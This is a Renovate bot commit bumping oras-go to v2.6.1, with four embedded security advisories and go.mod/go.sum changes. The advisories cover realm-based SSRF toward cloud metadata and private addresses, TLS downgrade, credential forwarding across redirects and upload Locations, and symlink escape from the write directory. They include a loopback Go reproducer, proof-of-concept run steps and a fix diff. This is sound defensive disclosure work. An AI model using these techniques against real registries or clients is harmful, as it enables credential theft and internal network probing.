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Update module oras.land/oras-go/v2 to v2.6.1 [SECURITY] (#4474)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | oras.land/oras-go/v2 | require | patch | `v2.6.0` -> `v2.6.1` | --- > [!WARNING] > Some dependencies could not be looked up. Check the Dependency Dashboard for more information. ### GitHub Vulnerability Alerts #### [CVE-2026-48978](https://redirect.github.com/oras-project/oras-go/security/advisories/GHSA-xf85-363p-868w) ## Summary oras-go's `auth.Client` follows the `realm` URL from a registry's `WWW-Authenticate: Bearer` challenge without validating its scheme or host. The `realm` field is server-controlled by design in the OCI/distribution spec — registries legitimately point token requests at a separate auth endpoint (e.g. Docker Hub's `registry-1.docker.io` -> `auth.docker.io`), so cross-host realms on public DNS names are not in themselves a vulnerability. Two specific patterns, however, are never legitimate under any registry trust model and can be abused by a malicious or compromised registry (or a man-in-the-middle on a plaintext connection): 1. **SSRF to internal networks.** A realm of `http://169.254.169.254/...` (AWS/Azure IMDS), `http://10.0.0.x/...` (RFC 1918), or `http://127.0.0.1/...` causes oras-go running on a cloud VM or corporate workstation to issue outbound HTTP requests from inside the user's trust boundary to an endpoint the user did not choose. The user's stored credentials are attached to those requests, but the principal harm is the network primitive — probing internal endpoints from the client. On IMDSv1 the response body is recoverable from log channels; on IMDSv2 the probe itself can still be used for service discovery. 2. **TLS downgrade.** A registry contacted over `https://` can return a realm with an `http://` scheme, causing oras-go to send the user's credentials over plaintext to the token endpoint. This defeats the transport security the user chose when typing `https://`. ## What is NOT claimed This advisory does **not** claim that credential forwarding to an arbitrary public attacker host through a server-controlled realm is, on its own, a vulnerability. The distribution spec defines `realm` as a server-controlled field; a strict same-host or same-eTLD+1 enforcement would deviate from the spec and break legitimate split-host deployments. Operators who want defense-in-depth against cross-host realm forwarding can use the opt-in `Client.TrustedRealmHosts` allowlist (added separately). ## Affected versions `oras.land/oras-go/v2 <= v2.6.0` ## Severity Medium. Network attack vector, low complexity, no privileges required, user interaction required (victim runs an oras command against the malicious or MITM'd registry), unchanged scope. Confidentiality impact is limited — IMDS probe responses can disclose information, and TLS downgrade exposes the realm request to passive observers — but the attacker does not obtain credentials beyond what the malicious endpoint already controls. ## Affected code - `registry/remote/auth/client.go` — `Client.Do()` (bearer challenge handling) - `registry/remote/auth/client.go` — `Client.fetchBearerToken()` / `fetchDistributionToken` / `fetchOAuth2Token` The `realm` parameter from `parseChallenge` is threaded through to `http.NewRequestWithContext` without scheme or host validation. ## CWE - CWE-918: Server-Side Request Forgery (SSRF) - CWE-319: Cleartext Transmission of Sensitive Information ## Patch `registry/remote/auth/client.go` now rejects realm URLs that: - use a scheme other than `http` or `https` - use `http` when the registry was contacted over `https` (TLS downgrade) - use an IP literal in a loopback, link-local, private, or unspecified range, unless the registry itself was reached at the same hostname (so loopback / in-cluster deployments are unaffected) Cross-host realms on public DNS names continue to be accepted. ## Credit Reported by bugbunny.ai. #### [CVE-2026-50151](https://redirect.github.com/oras-project/oras-go/security/advisories/GHSA-jxpm-75mh-9fp7) ## Summary oras-go follows a registry-controlled `Location` header during the monolithic blob upload flow and reuses the `Authorization` header from the initial `POST` request for the subsequent `PUT` request. If a malicious registry returns a cross-host `Location`, oras-go can send the caller's credentials to an attacker-controlled endpoint. ## Affected Versions tested: v2.6.0 (commit 03243809936cce826494b5506f724c6dc11115b1, as-of 2026-01-24) range: unknown; likely affects earlier v2.x releases that include the same upload flow ## Impact Credential leak to an attacker-controlled endpoint and client-side ssrf to a cross-host target. ## Affected Component - `registry/remote/repository.go:878-916` (`blobStore.completePushAfterInitialPost`) ## Reproduction Attachments include `poc.zip` with a local-only harness (no real registry required). It runs a fake registry server that returns a cross-host `Location` and a second server that records whether it received `Authorization`. ```bash unzip -q -o poc.zip -d /tmp/poc cd /tmp/poc/poc-F-ORAS-LOCATION-UPLOAD-001 make canonical make control ``` ## Recommended Fix - validate `Location` before uploading (scheme + hostname + effective port) against the original request, or require an explicit opt-in allowlist for cross-host upload urls - never forward `Authorization` when the upload target changes host or scheme ## references - security policy: https://github.com/oras-project/oras-go/security/policy - vulnerable code: `registry/remote/repository.go` (see `blobStore.completePushAfterInitialPost`) #### [CVE-2026-50162](https://redirect.github.com/oras-project/oras-go/security/advisories/GHSA-8xwf-rjm4-xvhv) The file content store in `oras-go` attempts to confine writes to `workingDir` when `AllowPathTraversalOnWrite=false`, but the guard is lexical and does not account for symlink traversal. If `workingDir` contains a symlink path component and an attacker-controlled blob title (via `ocispec.AnnotationTitle`) targets a path under that symlink, `pushFile()` can create a file outside `workingDir`. ## relevant links - repository: https://github.com/oras-project/oras-go - commit: 03243809936cce826494b5506f724c6dc11115b1 - callsite: content/file/file.go:609 `resolveWritePath()` (used by `pushFile()`) ## vulnerability details **pins:** oras-project/oras-go@0324380 **as-of:** 2026-02-17 **policy:** GitHub Security Advisory (oras-project/oras-go) **callsite:** content/file/file.go:609 `resolveWritePath()` → `pushFile()` **attacker control:** Attacker controls the pushed name (`ocispec.AnnotationTitle`) and can select a path with a symlink path component under `workingDir` → `resolveWritePath()` blocks `..` via `filepath.Rel` but does not prevent symlink traversal → `pushFile()` opens/creates the final path and follows the symlink → a file is created outside `workingDir` ### root cause `resolveWritePath()` enforces the write boundary using a `filepath.Rel`-style check against `workingDir`. This prevents `../` escapes but is purely lexical and does not resolve symlinks. If a path component under `workingDir` is a symlink to an external location, the subsequent filesystem operation in `pushFile()` follows that symlink and performs the write outside `workingDir` while still passing the lexical boundary check. ### attack path 1. Attacker provides a blob title (via `ocispec.AnnotationTitle`) that contains a path like `out/pwn.txt`. 2. Victim uses `oras-go` file store with `AllowPathTraversalOnWrite=false` and a `workingDir` that contains a symlink directory `out -> /some/outside/dir`. 3. The lexical boundary check accepts `out/pwn.txt` as being under `workingDir`. 4. The write follows the symlink and creates `/some/outside/dir/pwn.txt`. ## impact This is a filesystem boundary bypass that permits writes outside `workingDir` when a symlink path component exists under `workingDir`. The concrete security impact depends on the runtime environment (what filesystem locations are writable by the process and what downstream consumers do with the written file), but the intended confinement guarantee is violated. ## proof of concept the attached `poc.zip` contains a small, self-contained go harness that demonstrates: - canonical (vulnerable): prints `[CALLSITE_HIT]` and `[PROOF_MARKER]` and shows the file is created outside `workingDir` - control (no symlink component): prints `[NC_MARKER]` and confirms no outside write occurs run: ```bash unzip -q -o poc.zip -d /tmp cd /tmp/poc-F-ORAS-SYMLINK-WRITE-001 make test ``` **expected:** when `AllowPathTraversalOnWrite=false`, file store writes should not be able to escape `workingDir`, including via symlink traversal. **actual:** A symlink path component under `workingDir` allows writes to escape `workingDir` even when `AllowPathTraversalOnWrite=false`. ## recommended fix ensure confinement checks account for symlink traversal. Options include rejecting symlinks in any path component (walk components with `os.Lstat`), validating the resolved parent directory via `EvalSymlinks` and enforcing it remains under the resolved `workingDir`, or using an `openat()`-style approach so the check and open happen relative to a trusted directory file descriptor. **fix accepted when:** The canonical PoC no longer prints `[PROOF_MARKER]` for the same attacker-controlled inputs. cheers, Oleh #### [GHSA-vh4v-2xq2-g5cg](https://redirect.github.com/oras-project/oras-go/security/advisories/GHSA-vh4v-2xq2-g5cg) # ORAS Go forwards registry credentials across registry redirects Reporter / public credit: JUNYI LIU ## Summary ORAS Go can forward registry credentials configured for one registry origin to a different HTTP origin during registry redirects. There are two related paths: 1. A manifest or metadata request authenticates to the origin registry, then the origin returns a redirect to another host or port. The redirected request can carry the origin `Authorization` header to the redirect target. 2. A blob upload `POST` authenticates to the origin registry, then the origin returns an upload `Location` on another host or port. The follow-up `PUT` can carry the origin `Authorization` header to the `Location` target. The upload `Location` issue appears related to the existing public fix in pull request #&#8203;1152 / GHSA-jxpm-75mh-9fp7. The manifest redirect path is a residual adjacent route: the v2 branch after the upload `Location` fix still forwards Basic credentials on an authenticated manifest redirect. ## Impact A registry response can cause an ORAS Go or ORAS CLI client to send configured registry credentials to an unintended endpoint. In common workflows, those credentials may come from a registry config / Docker-style auth file rather than command-line flags. This is a credential exposure across the registry-origin boundary. I am not claiming remote code execution, registry compromise, arbitrary token theft, or live third-party impact. ## Affected Versions Tested - `oras-go v2.6.0`: affected. - `oras-go` main at commit `a57383e580c8f2c97fb67dedfc5c9945c8c3614e`: affected. - `oras-go` v2 branch at commit `d593d504779be8b69f0ba034ac9fd407d1fc8cfc`: upload `Location` path is blocked, but manifest redirect credential forwarding is still affected. - ORAS CLI at commit `3d2646279c70ba60415440e44c2ff97896e4a209`, using `oras-go v2.6.0`: affected when using `--registry-config`. ## Security Invariant Credentials resolved for one registry origin should not be silently forwarded to a different origin reached through a registry redirect or upload `Location` response. ## Local Reproduction Overview All testing used loopback servers and fake credentials only. Manifest redirect flow: 1. The client requests a manifest from the origin registry. 2. The origin returns `401` with a Basic challenge. 3. The client retries the origin request with the origin credential. 4. The origin returns `307` to another port on the same hostname. 5. The redirect sink receives the origin `Authorization` header. ORAS CLI stored-credential flow: 1. A temporary registry config contains a fake Basic credential for the origin registry only. 2. Run: ```sh oras manifest fetch --plain-http --registry-config <config> <origin>/probe:latest ``` 3. The origin authenticates the request and redirects it to another port. 4. The redirect sink receives the origin `Authorization` header. Blob upload `Location` flow: 1. The client starts a blob upload with `POST` to the origin registry. 2. The origin challenges with Basic and then accepts the authenticated `POST`. 3. The origin returns an upload `Location` URL on another port. 4. In affected versions, the follow-up `PUT` to the `Location` target carries the origin `Authorization` header. ## Expected Result Redirect and upload `Location` targets on a different HTTP origin should not receive the origin `Authorization` header. ## Observed Result In affected versions, redirect or `Location` sinks received: ```http Authorization: Basic <base64 origin_user:origin_pass> ``` ## Standalone Reproducer ```go package main import ( "context" "encoding/json" "fmt" "net/http" "net/http/httptest" "os" "sync" "github.com/opencontainers/go-digest" "github.com/oras-project/oras-go/v3/registry/remote" "github.com/oras-project/oras-go/v3/registry/remote/auth" "github.com/oras-project/oras-go/v3/registry/remote/credentials" ) type hit struct { Method string `json:"method"` Path string `json:"path"` Host string `json:"host"` Auth string `json:"auth,omitempty"` } func main() { const username = "origin_user" const password = "origin_pass" const expectedAuth = "Basic b3JpZ2luX3VzZXI6b3JpZ2luX3Bhc3M=" var mu sync.Mutex var originHits, sinkHits []hit record := func(dst *[]hit, r *http.Request) { mu.Lock() defer mu.Unlock() *dst = append(*dst, hit{ Method: r.Method, Path: r.URL.RequestURI(), Host: r.Host, Auth: r.Header.Get("Authorization"), }) } manifest := []byte(`{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.unknown.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}`) manifestDigest := digest.FromBytes(manifest).String() sink := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&sinkHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="redirect-sink"`) w.WriteHeader(http.StatusUnauthorized) return } w.Header().Set("Content-Type", "application/vnd.oci.image.manifest.v1+json") w.Header().Set("Docker-Content-Digest", manifestDigest) w.Header().Set("Content-Length", fmt.Sprint(len(manifest))) _, _ = w.Write(manifest) })) defer sink.Close() origin := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { record(&originHits, r) if r.Header.Get("Authorization") != expectedAuth { w.Header().Set("Www-Authenticate", `Basic realm="origin"`) w.WriteHeader(http.StatusUnauthorized) return } http.Redirect(w, r, sink.URL+r.URL.RequestURI(), http.StatusTemporaryRedirect) })) defer origin.Close() repo, err := remote.NewRepository(origin.Listener.Addr().String() + "/probe") if err != nil { panic(err) } repo.PlainHTTP = true repo.Client = &auth.Client{ Client: origin.Client(), CredentialFunc: credentials.StaticCredentialFunc(origin.Listener.Addr().String(), credentials.Credential{ Username: username, Password: password, }), } _, _, err = repo.Manifests().FetchReference(context.Background(), "latest") leaked := false for _, h := range sinkHits { if h.Auth == expectedAuth { leaked = true } } result := map[string]any{ "origin_hits": originHits, "sink_hits": sinkHits, "error": "", "leaked": leaked, } if err != nil { result["error"] = err.Error() } encoded, _ := json.MarshalIndent(result, "", " ") fmt.Println(string(encoded)) if leaked { fmt.Println("VULNERABLE_BEHAVIOR_CONFIRMED") return } fmt.Println("BOUNDARY_HELD_NO_CREDENTIAL_LEAK") os.Exit(1) } ``` ## Candidate Fix The candidate fix does two things: 1. In the auth client, wrap redirect handling so `Authorization` is removed when a redirect changes HTTP origin, while preserving any caller-provided `CheckRedirect` callback. 2. In blob upload completion, only reuse the previous `POST` `Authorization` header when the upload `Location` remains on the same HTTP origin. The patch also adds regression coverage for both redirect cases: - redirect before origin authentication reaches a different origin; - redirect after origin authentication reaches a different origin. ```diff diff --git a/registry/remote/auth/client.go b/registry/remote/auth/client.go index 35826eb..60c9f88 100644 --- a/registry/remote/auth/client.go +++ b/registry/remote/auth/client.go @&#8203;@&#8203; -122,7 +122,23 @&#8203;@&#8203; func (c *Client) send(req *http.Request) (*http.Response, error) { for key, values := range c.Header { req.Header[key] = append(req.Header[key], values...) } - return c.client().Do(req) + client := c.client() + clientCopy := *client + checkRedirect := client.CheckRedirect + clientCopy.CheckRedirect = func(redirectReq *http.Request, via []*http.Request) error { + if len(via) > 0 && !sameHTTPOrigin(via[len(via)-1].URL, redirectReq.URL) { + redirectReq.Header.Del(headerAuthorization) + } + if checkRedirect != nil { + return checkRedirect(redirectReq, via) + } + return nil + } + return clientCopy.Do(req) +} + +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) } // credential resolves the credential for the given registry. @&#8203;@&#8203; -168,6 +184,9 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { var attemptedKey string cache := c.cache() host := originalReq.Host + if host == "" { + host = originalReq.URL.Host + } scheme, err := cache.GetScheme(ctx, host) if err == nil { switch scheme { @&#8203;@&#8203; -193,6 +212,13 @&#8203;@&#8203; func (c *Client) Do(originalReq *http.Request) (*http.Response, error) { if resp.StatusCode != http.StatusUnauthorized { return resp, nil } + respHost := resp.Request.Host + if respHost == "" { + respHost = resp.Request.URL.Host + } + if respHost != host { + return resp, nil + } // attempt again with credentials for recognized schemes challenge := resp.Header.Get(headerWWWAuthenticate) diff --git a/registry/remote/repository.go b/registry/remote/repository.go index 74d6b89..0bd20ec 100644 --- a/registry/remote/repository.go +++ b/registry/remote/repository.go @&#8203;@&#8203; -982,6 +983,7 @&#8203;@&#8203; func (s *blobStore) Push(ctx context.Context, expected ocispec.Descriptor, conte // Push or by Mount when the receiving repository does not implement the // mount endpoint. func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http.Request, resp *http.Response, expected ocispec.Descriptor, content io.Reader) error { + originalURL := req.URL reqHostname := req.URL.Hostname() reqPort := req.URL.Port() // monolithic upload @&#8203;@&#8203; -1016,8 +1018,9 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. q.Set("digest", expected.Digest.String()) req.URL.RawQuery = q.Encode() - // reuse credential from previous POST request - if auth := resp.Request.Header.Get("Authorization"); auth != "" { + // reuse credential from previous POST request only when the upload location + // remains on the same origin. + if auth := resp.Request.Header.Get("Authorization"); auth != "" && sameHTTPOrigin(originalURL, location) { req.Header.Set("Authorization", auth) } resp, err = s.repo.do(req) @&#8203;@&#8203; -1032,6 +1035,10 @&#8203;@&#8203; func (s *blobStore) completePushAfterInitialPost(ctx context.Context, req *http. return nil } +func sameHTTPOrigin(a, b *url.URL) bool { + return strings.EqualFold(a.Scheme, b.Scheme) && strings.EqualFold(a.Host, b.Host) +} + // Exists returns true if the described content exists. func (s *blobStore) Exists(ctx context.Context, target ocispec.Descriptor) (bool, error) { if err := s.repo.checkPolicy(ctx, ""); err != nil { ``` ## Validation Performed The repaired candidate fix blocked: - manifest redirect credential forwarding; - upload `Location` credential forwarding. Targeted tests passed: ```sh go test ./registry/remote/auth -run 'TestClient_Do_Basic_Auth_Redirect|TestClient_Do' -count=1 go test ./registry/remote -run 'Test_BlobStore_Push|TestRepository' -count=1 ``` ## Prior Art / Duplicate Notes Public pull request #&#8203;1152 fixes credential forwarding via unvalidated blob upload `Location` and references GHSA-jxpm-75mh-9fp7. The residual manifest redirect path described here is adjacent but not covered by that PR's stated upload `Location` scope. Bearer realm credential exfiltration appears to be a separate issue family and is not part of this report's primary claim. ## Claim Boundaries Proven: - Origin registry Basic credentials can reach a different redirect or upload `Location` origin in local loopback tests. - ORAS CLI stored registry credentials can reach a redirect sink in a normal manifest fetch workflow. - The candidate fix blocks the tested redirect and upload `Location` credential exposures. Not claimed: - Live third-party exploitation. - RCE, host compromise, or registry compromise. - Arbitrary-host exposure beyond the tested redirect/`Location` origin transitions. - Bearer realm behavior as part of the same claim. --- ### Configuration 📅 **Schedule**: Branch creation - "" (UTC), Automerge - Monday through Friday ( * * * * 1-5 ) (UTC). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://redirect.github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4yNjQuMCIsInVwZGF0ZWRJblZlciI6IjM5LjI2NC4wIiwidGFyZ2V0QnJhbmNoIjoibWFzdGVyIiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyIsImltcGFjdC9uby1jaGFuZ2Vsb2ctcmVxdWlyZWQiXX0=--> Co-authored-by: pulumi-renovate[bot] <189166143+pulumi-renovate[bot]@users.noreply.github.com>
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‎provider/go.mod‎

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lukechampine.com/frand v1.5.1 // indirect
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oras.land/oras-go/v2 v2.6.0
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oras.land/oras-go/v2 v2.6.1
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sigs.k8s.io/apiserver-network-proxy/konnectivity-client v0.36.0 // indirect
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sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 // indirect
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sigs.k8s.io/randfill v1.0.0 // indirect

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k8s.io/utils v0.0.0-20260617174310-a95e086a2553/go.mod h1:xDxuJ0whA3d0I4mf/C4ppKHxXynQ+fxnkmQH0vTHnuk=
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lukechampine.com/frand v1.5.1 h1:fg0eRtdmGFIxhP5zQJzM1lFDbD6CUfu/f+7WgAZd5/w=
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lukechampine.com/frand v1.5.1/go.mod h1:4VstaWc2plN4Mjr10chUD46RAVGWhpkZ5Nja8+Azp0Q=
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oras.land/oras-go/v2 v2.6.0 h1:X4ELRsiGkrbeox69+9tzTu492FMUu7zJQW6eJU+I2oc=
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pgregory.net/rapid v1.2.0 h1:keKAYRcjm+e1F0oAuU5F5+YPAWcyxNNRK2wud503Gnk=
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‎tests/go.mod‎

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‎tests/go.sum‎

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900-
oras.land/oras-go/v2 v2.6.0 h1:X4ELRsiGkrbeox69+9tzTu492FMUu7zJQW6eJU+I2oc=
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